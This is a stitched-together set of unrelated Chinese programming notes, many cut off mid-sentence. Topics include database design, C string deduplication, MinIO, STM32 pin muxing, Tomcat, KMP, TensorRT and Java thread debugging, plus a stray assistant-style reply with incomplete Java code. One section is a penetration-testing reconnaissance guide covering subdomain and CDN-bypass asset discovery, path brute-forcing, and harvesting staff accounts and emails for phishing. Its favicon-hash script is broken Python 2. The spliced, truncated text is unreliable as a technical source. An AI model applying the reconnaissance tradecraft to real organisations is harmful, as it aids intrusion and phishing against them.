其他 起先,由于我的ubuntu gnome桌面进行了个性化配置,因此自然而然地认为是个性化配置导致的后果。如果各位因为个性化配置导致桌面环境混乱,而自己想要恢复之前的ubuntu默认桌面环境又遇到困难。此时,可以考虑使用以下命令恢复ubuntu默认桌面环境:
dconf reset -f /org/gnome/ 这会清除所有的个性化设置,并将桌面环境置为默认风格。
目录
一、数据库设计概述
1.数据库设计的特点
2.数据库设计方法
3.数据库设计的基本步骤
二、需求分析(建立数据字典)
1.需求分析任务
2.需求分析方法
3.数据字典
数据字典的内容
三、概念结构设计(概念模型-E-R图)
1.概念模型
2.E-R图
3.概念结构设计过程
1. 形成E-R图
2. E-R图的集成
四、逻辑结构设计(关系模型)
1. E-R图向关系模型的转换
转换原则
2. 数据模型的优化
数据模型的优化过程
3.设计用户子模式(视图)
五、物理结构设计
1.数据库管理系统常用存取方法
2.确定数据库的存储结构
六、数据库的实施和维护
1.数据库实施 (数据的载入和应用程序的编码和调试)
2.数据库的试运行
3.数据库的运行和维护
一、数据库设计概述 数据库设计是指对于一个给定的应用环境,构造(设计)优化的数据库逻辑模式和物理结构,并据此建立数据库及其应用系统,使之能够有效地存储和管理数据,满足各种用户的应用需求,包括信息管理要求和数据操作要求。 数据库设计的目标是为用户和各种应用系统提供一个信息基础设施和高效率的运行环境。
1.数据库设计的特点 结构设计和行为设计相结合。
2.数据库设计方法 感觉不考
3.数据库设计的基本步骤 二、需求分析(建立数据字典) 需求分析就是分析用户的要求,是设计数据库的起点(第一阶段)。
第一阶段收集的基础数据(用数据字典来表达)是下一步进行概念设计的基础。
1.需求分析任务 2.需求分析方法 3.数据字典 数据数据字典是进行详细的数据收集和数据分析所获得的主要结果。字典是关于数据库中数据的描述,即元数据,不是数据本身。在需求分析阶段建立,在数据库设计过程中不断修改、充实、完善。在数据库设计占有很重要的地位 数据字典的内容 数据项(data item) 是不可再分的数据单位,是数据的最小组成单位。数据结构 反映了数据之间的组合关系。 一个数据结构可以由若干个数据项组成,也可以由若干个数据结构组成,或由若干个数据项和数据结构混合组成。数据流 数据结构在系统内传输的路径。数据存储 数据结构停留或保存的地方,也是数据流的来源和去向之一。处理过程 处理过程的具体处理逻辑一般用判定表或判定树来描述。 三、概念结构设计(概念模型-E-R图) 将需求分析得到的用户需求抽象为信息结构(即概念模型)的过程就是概念结构设计。
1.概念模型 概念模型用E-R模型来描述
2.E-R图 两个实体型之间、两个以上实体型之间、单个实体型内都存在 1:1联系;1:n联系;m:n联系 的联系 (一对一、一对多、多对多)
E-R图提供了表示实体型、属性和联系的方法
实体型用矩形表示属性用椭圆表示联系用菱形表示 3.
C语言通过 指针方式解决字符串去重问题的 三种方法 方法一:双指针方式 这种方法是最容易想到,但也是最复杂的
char ch[100]; scanf("%[^\n]",ch); char *p=ch,*q=ch+1; while (*p) { while (*q) { if(*p==*q){//当检测到p指针指向的内容和q指针指向的内容相等时,执行下方代码 char *t=q; while (*t) { *t=*(t+1); t++; } continue; } q++; } p++; q=p+1;//将q的地址重新回到p的下一个 } puts(ch); 方法二:通过变量的方式移动指针 这种方法的优点是利用了strcpy()函数,省略了利用循环将数组往前推的过程。
char ch[50]; scanf("%[^\n]",ch); char *p=ch; for (int i = 0; *(p+i); i++) { for (int j = i+1; *(p+j+1); j++) { if(*(p+i)==*(p+j)){ strcpy(p+j,p+j+1); j--; } } } puts(ch); 方法三:从后向前逐个替换相同字符,此方法最为简单 原理即是从后向前寻找相同字符,若是找到相同的,则会将后面的字符逐个向前替换前方字符,直到当前字符位置才停止
char ch[50],*p=ch; gets(ch); for (int i = 0; i<strlen(ch); i++) { for (int j = strlen(ch)-1; j>i; j--) { if(*(p+i)==*(p+j)){ *(p+j)=*(p+j+1); } } } puts(ch);
jQuery是一个快速、简洁的JavaScript库,旨在简化HTML文档遍历、事件处理、动画和AJAX交互。 它通过一系列有用的方法和插件来简化JavaScript编程,使您可以在更短的时间内创建功能强大的网站和应用程序。
jQuery动画是jQuery库中的一种功能,可以通过改变HTML元素的CSS属性来创建动画效果。 jQuery动画可以用来创建各种动画效果,例如淡入、淡出、移动、放大缩小等。 jQuery动画通过使用 animate() 方法来实现。
例如,要在500毫秒内将div元素的高度从100像素增加到200像素,可以使用以下代码:
$("#div").animat
最近在开发移动端官网页面,遇到不同机型间的适配小bug.
现象:图片在ios手机上会出现白色的间隙、安卓手机上则不会出现
解决方式:把img标签的display属性改成block:
img{display:block;}
分布式文件存储系统MinIO实战 这份笔记是摘抄B站视频图灵课堂出品的Minio视频,视频链接如下
【MinIO很强-让我放弃FastDFS拥抱MinIO的8大理由】https://www.bilibili.com/video/BV1AY411N7te?p=12&vd_source=980fae9339fdf81599b0d192bd40fc67
观看视频的时候没有找到笔记,所以自己把笔记记下来分享,笔记中很多步骤是根据我自己的实际情况来的,和视频中不一致。
1 分布式文件系统应用场景 互联网海量非结构化数据的存储需求,因为很多数据是非结构化的,非关系型的。
电商网站:海量商品图片视频网站:海量视频文件网盘:海量文件社交网站:海量图片 1.1 MinIO介绍 Min0 是一个基于Apache license v2.0开源协议的对象存储服务。它兼容亚马逊S3云存储服务接口,非常适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等,而一个对象文件可以是任意大小,从几kb到最大5T不等。Minio是一个非常轻量的服务,可以很简单的和其他应用的结合,类似 NodeJS, Redis 或者 MySQL。
官网:
英文官网:https://min.io/
中文官网:http://www.minio.org.cn/
建议直接看英文文档,中文文档更新不及时。
对象存储服务(Object Storage Service,OSS) 是一种海量、安全、低成本、高可靠的云存储服务,适合存放任意类型的文件。容量和处理能力弹性扩展,多种存储类型供选择,全面优化存储成本。
对于中小型企业,如果不选择存储上云,那么 MinIO是个不错的选择,麻雀虽小,五脏俱全。当然 MinIO除了直接作为对象存储使用还可以作为云上对象存储服务的网关层,无缝对接到Amazon S3、MicroSoft Azure。
在中国:阿里巴巴、腾讯、百度、中国联通、华为、中国移动等等9000多家企业也都在使用MinlO产品。
MinIO优点 部署简单:一个single二进制文件及是一切,还可以支持各种平台。
minio支持海量存储,可按zone扩展(原zone不受任何影响),支持单个对象最大5TB;
兼容Amazon S3接口,充分考虑开发人员的需求和体验;
低冗余且磁盘损坏高容忍,标准且最高的数据冗余系数为2(即存储一个1M的数据对象,实际占用磁盘空间为2M)。但在任意n/2块disk损坏的情况下依然可以读出数据(n为一个纠删码集合(Erasure Coding Set)中的disk数量)。并且这种损坏恢复是基于单个对象的而不是基于整个存储卷的。
读写性能优异
基准测试
1.2 MinIO的基础概念 object::存储到 Minio 的基本对象,如文件、字节流,Anything…,比如存储一个文件到MinIO中,这个文件就成为一个objectBucket:用来存 Object的逻辑空间。每个 Bucket 之间的数据是相互隔离的。对于客户端而言,就相当于一个存放文件的顶层文件夹。Drive::即存储数据的磁盘,在 MinIO 启动时,以参数的方式传入。Minio 中所有的对象数据都会存储在 Drive里。Set:即一组 Drive 的集合,分布式部署根据集群规模自动划分一个或多个 Set,每个Set 中的 Drive 分布在不同位置,一个对象存.
文章目录 一、端口复用二、STM32F4的端口复用映射原理三、复用功能映射设置四、端口复用配置过程 一、端口复用 端口复用和重映射都是和单片机的I/O口有关系,端口复用是将一个I/O赋予多个功能,通过设置I/O的工作模式来切换不同的功能。重映射是将某些I/O口上面的功能映射到其他I/O口上面去。但是注意一点:重映射的I/O都是厂家设置好的,不能自己更改。
端口复用
什么是端口复用?
STM32有很多的内置外设,这些外设的外部引脚都是与GPIO复用的。也就是说,一-个GPIO如果可以复用为内置外设的功能引脚,那么当这个GPIO作为内置外设使用的时候,就叫做复用。
也就是这些黄色底板下,对于引脚的文字,就是能复用的功能
二、STM32F4的端口复用映射原理 STM32F4系列微控制器IO引脚通过一一个 复用器连接到内置外设或模块。该复用器一次只允许一个外设的复用功能(AF)连接到对应的I0口。这样可以确保共用同一-个IO引脚的外设之间不会发生冲突。每个IO引脚都有一个复用器,该复用器采用16路复用功能输入(AFO到AF15),可通过GPIOx_ AFRL(针对引脚0-7)和GPIOx_ AFRH (针对引脚8-15)寄存器对这些输入进行配置,每四位控制一路复用。 端口复用映射示意图
如果是中断3-5,则是AF2
一组GPIO有16个IO,如PA0 - PA15,一组中有两个复用功能寄存器AFRL(32位)和AFRH(32位),一个IO要四位,所以AFRL控制0 - 7,AFRH控制8 - 15
举例:如果我要控制PA2为串口2
就是在PFRL2上定义0111
三、复用功能映射设置 四、端口复用配置过程 #define IS_GPIO_AF(AF) (((AF) == GPIO_AF_RTC_50Hz) || ((AF) == GPIO_AF_TIM14) || \ ((AF) == GPIO_AF_MCO) || ((AF) == GPIO_AF_TAMPER) || \ ((AF) == GPIO_AF_SWJ) || ((AF) == GPIO_AF_TRACE) || \ ((AF) == GPIO_AF_TIM1) || ((AF) == GPIO_AF_TIM2) || \ ((AF) == GPIO_AF_TIM3) || ((AF) == GPIO_AF_TIM4) || \ ((AF) == GPIO_AF_TIM5) || ((AF) == GPIO_AF_TIM8) || \ ((AF) == GPIO_AF_I2C1) || ((AF) == GPIO_AF_I2C2) || \ ((AF) == GPIO_AF_I2C3) || ((AF) == GPIO_AF_SPI1) || \ ((AF) == GPIO_AF_SPI2) || ((AF) == GPIO_AF_TIM13) || \ ((AF) == GPIO_AF_SPI3) || ((AF) == GPIO_AF_TIM14) || \ ((AF) == GPIO_AF_USART1) || ((AF) == GPIO_AF_USART2) || \ ((AF) == GPIO_AF_USART3) || ((AF) == GPIO_AF_UART4) || \ ((AF) == GPIO_AF_UART5) || ((AF) == GPIO_AF_USART6) || \ ((AF) == GPIO_AF_CAN1) || ((AF) == GPIO_AF_CAN2) || \ ((AF) == GPIO_AF_OTG_FS) || ((AF) == GPIO_AF_OTG_HS) || \ ((AF) == GPIO_AF_ETH) || ((AF) == GPIO_AF_OTG_HS_FS) || \ ((AF) == GPIO_AF_SDIO) || ((AF) == GPIO_AF_DCMI) || \ ((AF) == GPIO_AF_EVENTOUT) || ((AF) == GPIO_AF_FSMC))
很高兴为您服务!这里有一段简单的 Java 代码,可以用来创建一个小游戏:
public class Game { public static void main(String[] args) { // 创建一个游戏玩家 Player player1 = new Player();
// 设置游戏玩家的分数 player1.setScore(100); // 打印游戏玩家的分数 System.out.println("Player1's score is " + player1.getScore()); } }
安装JDK 安装JDK步骤及配置JDK环境变量步骤省略。
下面介绍关于apache-tomcat安装的详细过程。
从官网下载apache-tomcat (1)进入官网地址:
https://tomcat.apache.org/
(2) 根据需要选择版本,例如我这里选择8版本,则选择—>tomcat-8/—>进入选择具体版本下载。剩下步骤省略。
(3)将下载的版本压缩到本地的文件夹,下面开始配置环境变量。
(4)首先配置系统变量,点击—>“新建”:TOMCAT_HOME=D:\Tomcat\apache-tomcat-8.5.70
路径要根据你当前的下载路径进行更改。
(5)在CLASSPATH中添加%TOMCAT_HOME%\lib\servlet-api.jar;
注意:CLASSPATH未必一定存在,这是由于CLASSPATH设置的目的,在于告诉Java执行环境,在哪些目录下可以找到您所要执行的Java程序所需要的类或者包。
如果没有,请参照上述(4)新建一个即可。
(6) 在PATH中添加在%TOMCAT_HOME%\bin;
以上,关于Tomcat的环境变量至此完成。
启动Tomcat (1)找到bin文件下的startup.bat文件
(2) 双击并启动:
至此,Tomcat启动。
(3) 验证 Tomcat是否配置成功。
在网页输入http://localhost:8080,出现了Tomcat的网页,表示安装并且配置成功。
(4) 如果要改变端口,需要找到conf文件夹的server.xml文件,用任意编辑器打开,比如我用的是VsCode。
找到下面语句:
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" /> 改成其他端口号,如8090。
注意: 修改端口号后一定要重启Tomcat。
此时需要在网页上输入http://localhost:8090才能输出Tomcat网页
部署一个简单的html网页并运行 (1)找到 webapps 文件夹:
(2) 新建一个ztest文件夹
(3) 在ztest文件内放入要运行的html文件
(4) 在网页上输入http://localhost:8080/ztest/hello.html,说明运行成功。
“渗透的本质就是信息收集”,信息收集会一直存在整个攻击流程里。 -----圈内流传很经典的一句话
前言 这一步主要是先明确自己的目标,假如是挖专属src,那么在正文内会标注出漏洞收集的范围。如果是公益src,就看发现的目标是域名还是ip。目标是域名,先从挖掘子域名之类的地方开始,可以使用OneForAll、shuize、在线挖掘工具、网络测绘引擎等。碰到域名可能是CDN的情况,还要想办法找到目标的真实地址,例如邮件、旁站、子域名等。目标是IP,可以眼看IP的C段,若是只有IP找不到归属的情况,可以去ICP备案或者IP反查域名处查找,加入找到域名,可以重复上面的步骤,若是只有IP,可以看logo、查ICON、打点成功后观察有无能证明归属的。网站打点时,路径、js、指纹、敏感信息等尤为重要。爆破路径如:dirsearch、御剑。js:JsFinder。指纹:Ehole、在线指纹探测。敏感信息:例如员工账号、手机号码、github敏感信息等。账号可能在网站页面就已经标出来了,比如说页脚的技术支持人员:123XXXX1234(XX),或是在登录界面时,发现不存在用户、密码错误、账号被冻结的返回包不一样。也可以拿到账号。或是爱企查、whois之类地方拿到的邮箱,扫描时拿到的邮箱,都有可能成为突破口
信息收集 企业信息:
天眼查:天眼查-商业查询平台_企业信息查询_公司查询_工商查询_企业信用信息系统
企业工商信息查询,企业的所有单位及下属单位,子公司(所有占股比例超过百分之八十的),一般会选择有网址的,有邮箱的(钓鱼你懂得),备案域名等
小蓝本:获客营销系统_ai智能拓客系统_企业获客系统-小蓝本拓客软件
爱企查:获客营销系统_ai智能拓客系统_企业获客系统-小蓝本拓客软件
资产测绘思路:(在线网站很多不一一列举)
1.子域名直接搜索,这里推荐360quake,fofa和hunter整体数据较全;
搜索关键词,比如,XX集团 XX管理系统 XX平台 等等,这个针对于目标的关键词来定。
搜索图标,根据图标的hash值
favicon: "哈希值"
(13条消息) 获取网站 favicon.ico 的三种方法_Fresh Eyes的博客-CSDN博客_获取favicon
获取哈希值代码
import mmh3 import requests response = requests.get('https://www.xxxx.com/favicon.ico') favicon = response.content.encode('base64') hash = mmh3.hash(favicon) print 'http.favicon.hash:'+str(hash) 2.IP/c段信息收集: OneForALL ,水泽,goby等
在线:Subdomain - RapidDNS Rapid DNS Information Collection
3.微信公众号
4.IP 域名反查询
在线:微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区
5.冷门操作,通过知识产权:
我们可以通过还在申请或者已经申请的知识产权中,找到一些蛛丝马迹:
比如某个产品,XXX智慧平台之类的,都可以套用我上面讲的三种方式。
包括LOGO之类的,都可以作为关键词,有时候会带来一些惊喜,比如会有一些很敏感的,还在测试的系统
6.指纹探测:
Ehole 便于收集url的指纹,会有专门有一个重点资产的列表,还可以探测网站存活
谷歌浏览器插件 :Wappalyzer ShiroScan & FastJsonScan burpsuite被动扫描工具 如果没有头绪可以看看这个板块也许有惊喜 dirsearch 目录爆破工具 GitHub - maurosoria/dirsearch: Web path scanner 6.
KMP算法 相比BF算法的改进:每当一趟匹配过程中出现字符比较不等时,无需回溯i指针(即无需将i指针完全退回至i-j+1),而是利用已经得到的“部分匹配”的结果将模式向右“滑动”尽可能远的一段距离后,继续进行比较。需要解决的问题:当主串中的第i个字符与模式中第j个字符比较不相等时,主串中第i个字符(i指针不回溯)应与模式中哪个字符再比较?----假设从主串中第i个字符与模式中的第k个字符再进行比较它是则呢样来消除回溯的呢?就是因为它提取并运用了加速匹配的信息!
这种信息就是对于每模式串 t 的每个元素 t j,都存在一个实数 k ,使得模式串 t 开头的 k 个字符(t 0 t 1…t k-1)依次与 t j 前面的 k(t j-k t j-k+1…t j-1,这里第一个字符 t j-k 最多从 t 1 开始,所以 k < j)个字符相同。如果这样的 k 有多个,则取最大的一个。模式串 t 中每个位置 j 的字符都有这种信息,采用 next 数组表示,即 next[ j ]=MAX{ k }。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FxNAU0aV-1651734203665)(https://gitee.com/songjie001/typora_pictures/raw/master/2019032020342288.png)]
KMP算法(快速模式匹配算法)C语言详解 (biancheng.net)
充分利用了目标字符串t的性质(比如里面部分字符串的重复性,即使不存在重复字段,在比较时,实现最大的移动量)。
next数组里面存的是什么值呢?其实就是该位置前的字符串前缀与后缀的共用长度(文中的部分匹配值)-1(说白了就是前后相同的长度-1)
next数组计算:
next数组的含义就是一个固定字符串的最长前缀和最长后缀相同的长度。
KMP算法的精髓就在于next数组,从而达到跳跃式匹配的高效模式。
而next数组的值是代表着字符串的前缀与后缀相同的最大长度,(不能包括自身)。
注意:
最长前缀:是说以第一个字符开始,但是不包含最后一个字符。最长后缀:是说以最后一个字符开始,但是不包含第一个字符。 比如aaaa相同的最长前缀和最长后缀是aaa。
对于目标字符串ptr=ababaca,长度是7,所以next[0],next[1],next[2],next[3],next[4],next[5],next[6]分别计算的是
a:前缀:“”,后缀“”,相同的最长前缀和最长后缀是“”
ab:前缀:a,后缀b,相同的最长前缀和最长后缀是“”
aba:前缀:a、ab,后缀a、ba,相同的最长前缀和最长后缀是a
abab:前缀:a、ab、aba,后缀b、ab、bab,相同的最长前缀和最长后缀是ab
ababa:前缀:a、ab、aba、abab、,后缀a、ba、aba、baba,相同的最长前缀和最长后缀是aba
ababac:前缀:a、ab、aba、abab、ababa,后缀c、ac、bac、abac、babac,相同的最长前缀和最长后缀是“”
ababaca:前缀:a、ab、aba、abab、abab、ababac,后缀a、ca、aca、baca、abaca、babaca,相同的最长前缀和最长后缀是a
KMP算法讲解(next数组求解)_Liu Zhian的博客-CSDN博客_kmp算法next
Java poi word导出工具
import com.ruoyi.common.utils.DateUtils; import com.ruoyi.krd.Utils; import com.ruoyi.krd.domain.CheckPlan; import com.ruoyi.krd.domain.GradeInput; import org.apache.poi.xwpf.model.XWPFHeaderFooterPolicy; import org.apache.poi.xwpf.usermodel.*; import org.openxmlformats.schemas.wordprocessingml.x2006.main.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.OutputStream; import java.math.BigDecimal; import java.math.BigInteger; import java.util.*; public void creatTableByLevle(List<GradeInput> list, String level) { //工作经历表格 XWPFTable ComTable = document.createTable(); //列宽自动分割 CTTblWidth comTableWidth = ComTable.getCTTbl().addNewTblPr().addNewTblW(); comTableWidth.setType(STTblWidth.DXA); comTableWidth.setW(BigInteger.valueOf(9072)); //表格第一行 XWPFTableRow comTableRowOne = ComTable.getRow(0); comTableRowOne.getCell(0).setText("单位名称"); comTableRowOne.addNewTableCell().setText(level); // Map<String, Object> map = list.get(0).getMap(); Map<String, Object> map = list.get(0).getIndexNames(); for(Map.Entry entry : map.
一、ADB Monkey简介 ADB Monkey 是一个在模拟器或设备上运行的程序,可生成伪随机用户事件(例如点击、轻触或手势)流以及很多系统级事件。一般我们会使之用于稳定性测试以及压力测试
我们可以使用 Monkey 以随机且可重复的方式对正在开发的应用进行压力测试。
Monkey 是一个命令行工具,可以在任何模拟器实例或设备上运行。它会将伪随机用户事件流发送到系统中,从而对您正在开发的应用软件进行压力测试。
Monkey 包含许多选项,主要分为以下四个类别:
基本配置选项,例如设置要尝试的事件数。
操作限制条件,例如将测试对象限制为单个软件包。
事件类型和频率。
调试选项。
Monkey 在运行时会生成事件并将其发送到系统。它还会监视被测系统并查找三种特殊情况:
如果您已将 Monkey 限制为在一个或多个特定软件包中运行,它会监视并阻止转到任何其他软件包的尝试。
如果应用崩溃或收到任何未处理的异常,Monkey 会停止并报告错误。
如果应用生成“应用无响应”错误,Monkey 会停止并报告错误。
根据您选择的详细程度级别,您还将看到有关 Monkey 进度和所生成事件的报告。
二、基本用法 我们现已经了解了Monkey到底是一个什么东西,通过一个什么方法去进行对我们软件包的一个压力测试,那么现在,我们就应该去了解一下他的一个玩法。
2.1测试设备连接 在任何操作开始前,我们都应该先通过PC去连接上我们的测试设备,搭建舞台。
我们这里使用的设备是:三星的Galaxy S21 5G手机
选择好我们的设备以后,我们进行手机的Type-C端口与PC数据端口使用数据线进行数据连接,并打开开发者工具中的USB调试口(这里三星为例:入口在:设置->开发者选项->Usb调试)
搭建好舞台(连接好手机)后我们就正式开始我们的测试之旅啦~
2.2 Monkey启动方式: Monkey的启动方式有多种(可以使用开发计算机上的命令行启动 Monkey,也可以通过脚本启动)
一般我们使用PC的cmd启动会较多,这里只是对此进行介绍,在实际使用时直接通过我们命令行加上操作的命令选项即可。介绍如下:
2.2.1 PC端Cmd启动 adb shell monkey + 命令选项 由于 Monkey 在模拟器/设备环境中运行,因此我们必须从该环境中通过 shell 启动它。为此,我们可以在每个命令前面加上 adb shell,或者直接进入 shell 后并输入 Monkey 命令。
例:adb shell monkey --help(输出简单的使用指南)
例:adb shell(进入shell,进入后可通过exit命令退出)
2.2.2 Android手机直接执行Monkey命令选项 2.2.3 PC进入Android系统执行Monkey命令选项 2.
在本教程中,我们将了解Python 中的自动答题器。我们将首先了解它的含义以及如何在 Python 中实现它。那么,事不宜迟,让我们进入正题。
Auto Clicker是一种 Python 软件,允许用户以较短的时间间隔连续点击鼠标。它由用户定义的键控制,适用于所有环境——Windows、Mac 和 Linux。在 Python 中,我们将使用名为 PyAutoGUI 的包来执行此操作。这将使我们能够同时操作鼠标和监视键盘。
方法一:使用 PyAutoGui PyAutoGUI使用 (x,y) 坐标,原点 (0,0) 位于屏幕的左上角。当我们向右移动时,x 坐标会增大,但 y 坐标会减小。
Play Video
PyAutoGUI 目前仅适用于主显示器。对于第二台显示器的屏幕来说,这是不可信的。PyAutoGUI 执行的所有键盘按下都会传输到具有当前焦点的窗口。
代码实现 import pyautogui
import time
def click(): time.sleep(0.1) pyautogui.click()
for i in range(20): click()
方法二:使用 Pynput 让我们尝试使用 Pynput 模块在 Python 中实现自动点击器。
导入所需模块 import time
import threading
from pynput.mouse import Button, Controller
from pynput.keyboard import Listener, KeyCode
程序中导入了多个模块,包括导入按钮和控制器以控制鼠标操作,还导入侦听器和键码以跟踪键盘事件以处理自动点击器操作的启动和停止。
声明重要变量 delay = 0.
环境搭建系列文章目录 一、Win10系统安装GPU版本CUDA、Cudnn
二、Win10系统安装TensorRT
文章目录 环境搭建系列文章目录TensorRT简介一、版本对应关系二、下载及安装1.TensorRT2.No module named 'pycuda' & pycuda安装失败 总结参考文献 TensorRT简介 Tips:理论指引实践
TensorRT是一个高性能的深度学习推理(Inference)优化器,支持TensorFlow、Caffe、Mxnet、Pytorch等几乎所有的深度学习框架,将TensorRT和NVIDIA的GPU结合起来,能在几乎所有的框架中进行快速和高效的部署推理。
参考:TensorRT(1)-介绍-使用-安装
一、版本对应关系 CUDA与cuDNN版本必须对应!必须对应!必须对应!并且分CPU与GPU两个版本。TensorRT版本可向下兼容多个CUDA版本。
对应版本参考:
Nvidia CUDA, cuDNN, TensorRT,驱动以及架构之间的相互兼容关系
二、下载及安装 1.TensorRT 下载地址:
NVIDIA TensorRT Download
因为TensorRT向下兼容,所安装CUDA为11.3GPU版本,因此可以选择TensorRT 8.5 GA版本。
PS:EA 代表抢先体验。GA 表示稳定版,经过全面测试。
1.解压安装包并粘贴到CUDA内
2.复制移动文件
将include中头文件复制到C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.3\include\
将lib中所有lib文件复制到C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.3\lib\x64\
将lib中所有dll文件复制到C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.3\bin\
3.安装whl文件
pip一共需安装4个whl文件,分别在graphsurgeon、onnx_graphsurgeon、python、uff文件夹内。
可直接复制(需要根据具体位置进行修改):
1. pip install C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.3\TensorRT-8.5.1.7\graphsurgeon\graphsurgeon-0.4.6-py2.py3-none-any.whl
2. pip install C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.
写在前面 接上篇,上篇分享了openstack的api使用套路,本篇分享vmware的api使用套路,希望可以帮助到有需要的盆友。
在观看本文之前,也是最重要的一点,就是请确保你已经搭建好了用于测试的vsphere环境(esxi和vcenter)。
我的测试环境:
API文档阅读套路&实战 首次阅读vsphere api文档的话,可能会有点懵,下面我把最需要关注的点,以及阅读套路给说清楚,搞明白之后,其实也都够用了。
官方API文档: https://developer.vmware.com/apis
1. 关于vsphere的能力,我们更关注的是vSphere Web Services API 2. 根据vsphere版本选择相对应的API版本 3. 对象类型 如上图,All Types包含了下面几种类型,只是做了分类而已:
Managed Object TypesData Object TypesEnumerated TypesFault Types Managed Object Types是最常用的,有虚拟机(VirtualMachine)、存储(Datastore)、宿主机(HostSystem)、网络(Network)等等,那平时怎么使用它呢?假设,当得到一个虚拟机实例对象时,想知道它都能获取到什么属性,那么就可以在Property进行查阅。
还有一个特别注意的地方,就是vim.VirtualMachine,它其实是某种对象类型的表示方法或者说是标识。比如,使用python的pyvmomi库,就需要指定查找的对象类型。如果是使用go,则是指定"VirtualMachine"
使用Go编码,获取虚拟机属性:
package main import ( "context" "flag" "fmt" "log" "net/url" "os" "strings" "github.com/vmware/govmomi/session/cache" "github.com/vmware/govmomi/simulator" "github.com/vmware/govmomi/view" "github.com/vmware/govmomi/vim25" "github.com/vmware/govmomi/vim25/mo" "github.com/vmware/govmomi/vim25/soap" ) func getEnvString(v string, def string) string { r := os.Getenv(v) if r == "" { return def } return r } func getEnvBool(v string, def bool) bool { r := os.
已知条件:
相机1 内参矩阵K1 外参矩阵 [R1 | T1]相机2 内参矩阵K2 外参矩阵 [R2 | T2] 求:将相机1成像画面重投影至相机2视角下。
公式推导:
空间中任意一点坐标P(X,Y,Z),该点在两个相机中的成像过程如下:
该方法可以近似将相机1成像画面重投影至相机2视角下:
原始相机:
重投影:
近期发现服务器Java进程负载,超过100%
一、采用top命令定位进程 登录服务器,执行top命令,查看CPU占用情况,找到进程的pid
很容易发现,PID为29706的java进程的CPU飙升到700%多,且一直降不下来,很显然出现了问题。
二、使用top -Hp命令定位线程 使用 top -Hp <pid> 命令(为Java进程的id号)查看该Java进程内所有线程的资源占用情况
top -Hp 29706 很容易发现,多个线程的CPU占用达到了90%多。我们挑选线程号为30309的线程继续分析。
三、使用jstack命令定位代码 1.线程号转换为16进制 printf “%x\n” 命令(tid指线程的id号)将以上10进制的线程号转换为16进制:
printf "%x\n" 30309 转换后的结果分别为7665,由于导出的线程快照中线程的nid是16进制的,而16进制以0x开头,所以对应的16进制的线程号nid为0x7665
2.采用jstack命令导出线程快照 通过使用dk自带命令jstack获取该java进程的线程快照并输入到文件中: jstack -l > ./jstack_result.txt 命令(为Java进程的id号)来获取线程快照结果并输入到指定文件。
jstack -l 29706 > ./jstack_result.txt 3.根据线程号定位具体代码 在jstack_result.txt 文件中根据线程好nid搜索对应的线程描述
cat jstack_result.txt |grep -A 100 7665 根据搜索结果,判断应该是ImageConverter.run()方法中的代码出现问题
也可以直接采用jstack <pid> |grep -A 200 <nid>来定位具体代码
jstack 29706 |grep -A 200 7665 "System Clock" #28 daemon prio=5 os_prio=0 tid=0x00007efc19e8e800 nid=0xae24 waiting on condition [0x00007efbe0d91000]
报错信息 Preparing metadata (setup.py) ... error ERROR: Command errored out with exit status 1: command: /usr/bin/python3 -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-7_wac8ap/pymediainfo_cfc099399612448aaa49a03a51d8d771/setup.py'"'"'; __file__='"'"'/tmp/pip-install-7_wac8ap/pymediainfo_cfc099399612448aaa49a03a51d8d771/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-1ox6i__0 cwd: /tmp/pip-install-7_wac8ap/pymediainfo_cfc099399612448aaa49a03a51d8d771/ Complete output (22 lines): Traceback (most recent call last): File "<string>", line 1, in <module> File "/tmp/pip-install-7_wac8ap/pymediainfo_cfc099399612448aaa49a03a51d8d771/setup.py", line 70, in <module> "
在了解反射之前我们得先知道java代码执行过
java先编译成java字节码文件,jvm运行字节码文件输出结果
获取java类字节码对象得三种方式 方式一:Class c1 = Class.forName(“全类名”);方式二:Class c2 = 类名.class方式三:Class c3 = 对象.getClass(); 字节码对象可以用来拿成员对象比如说:构造器对象,成员变量对象,方法对象
关于暴力反射的概念:当需要对拿到的私有成员对象进行操作时,比如给私有变量赋值,需要调用该成员对象的setAccessible(true)方法打开暴力反射,以免报错
私有变量字节码对象.setAccessible(true)
获取构造器对象
Constructor<?>[] getConstructors() //只拿public的Constructor<?>[] getDeclaredConstructors() //拿到包括private的,需要打开暴力反射Constructor<T> getConstructor(Class<?>... parameterTypes) //跟据构造方法参数拿单个构造器对象,此方法只能拿public的Constructor<T> getDeclaredConstructor(Class<?>... parameterTypes)//跟据后早期方法参数拿单个构造器对象,此方法可以拿private的,需要打开暴力反射 构造器对象API
clazz.newIntance(name(值),age,sex) //创建对象 获取字段对象
Field[] getFields() //,拿到类的所有字段对象,只能拿public的Field[] getDeclaredFields() //可以拿到private的Field getField(String name) //根据字段名拿单个字段对象,只能拿public的Field[] getDeclaredFields() //可以拿到private的 字段对象API
void set(Object obj, Object value) //赋值,第一个参数是被赋值对象,第二个是被赋的值Object get(Object obj) //获取值,参数是被拿值的对象 获取方法对象
Method[] getMethods() //返回所有成员方法对象,只能是publicMethod[] getDeclaredMethods() //包括privateMethod getMethod(String name, Class<?>... parameterTypes) //根据参数名和参数类型类的字节码对象拿到对应的方法对象,只能是publicMethod getDeclaredMethod(String name, Class<?>... parameterTypes)//根据参数名和参数类型类的字节码对象拿到对应的方法对象,可以是private 方法对象API
Object invoke(list, Object.
一、值类型和引用类型示例:
值类型:基本数据类型系列,如:int,float,bool,string,数组和结构体等。
引用类型:如:指针,slice切片,map,管道chan,interface等。
二、一般程序的内存分布情况: 三、值类型和引用类型的使用:
